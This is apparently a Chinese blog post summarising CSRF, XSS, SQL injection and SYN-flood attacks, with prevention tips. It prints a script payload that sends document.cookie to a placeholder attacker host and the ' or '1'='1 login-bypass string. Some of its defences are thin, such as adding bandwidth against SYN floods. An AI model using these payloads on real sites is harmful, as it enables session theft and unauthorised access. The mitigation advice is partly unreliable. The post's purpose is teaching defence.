web常见的攻击方式有哪些,如何避免。

CSRF: Cross-site request forgery 跨站请求伪造,利用网站对用户浏览器的信任。

原理:1.登录受信任网站A,并在本地生成Cookie。

            2.在不登出A的情况下,访问危险网站B,引诱点击链接,实际上是调用A网站的链接,或者是接口地址,利用A的cookie未失效。

触发条件:A网站存在漏洞,用户在A网站登录过且cookie未失效

预防:token认证,访问网站,登录成功后,服务器生成token,存放在cookie里,session,或者本地,在访问接口的时候要求把token带上,到服务器端在验证(token最好是随机的,不可预测的)

         referer认证,页面来源(在hearder里),服务器判断是否是本站点下的页面,如果不是直接拦截。

XSS:跨站脚本攻击,不需要登录,向网站注入脚本(盗用cookie,改变页面的dom结构,重定向链接)。

博客网站,攻击者在上面发了一篇文章,内容是<script>window.open(“www.xxx.com?param=”+document.cookie)</script>浏览器运行非法的html 标签/Javascript,用户下次访问就会把cookie发送到攻击者的服务器上。

预防:将输入的数据进行转义处理,比如说讲 < 转义成&lt

SQL注入:sql语句伪造参数,

最常见的就是:' or '1'= '1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。

预防:接口可以对采纳数进行转义,密码什么的敏感信息要加密

DDOS发送大量请求,是服务器瘫痪

SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。

预防:增加服务器带宽。


          

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容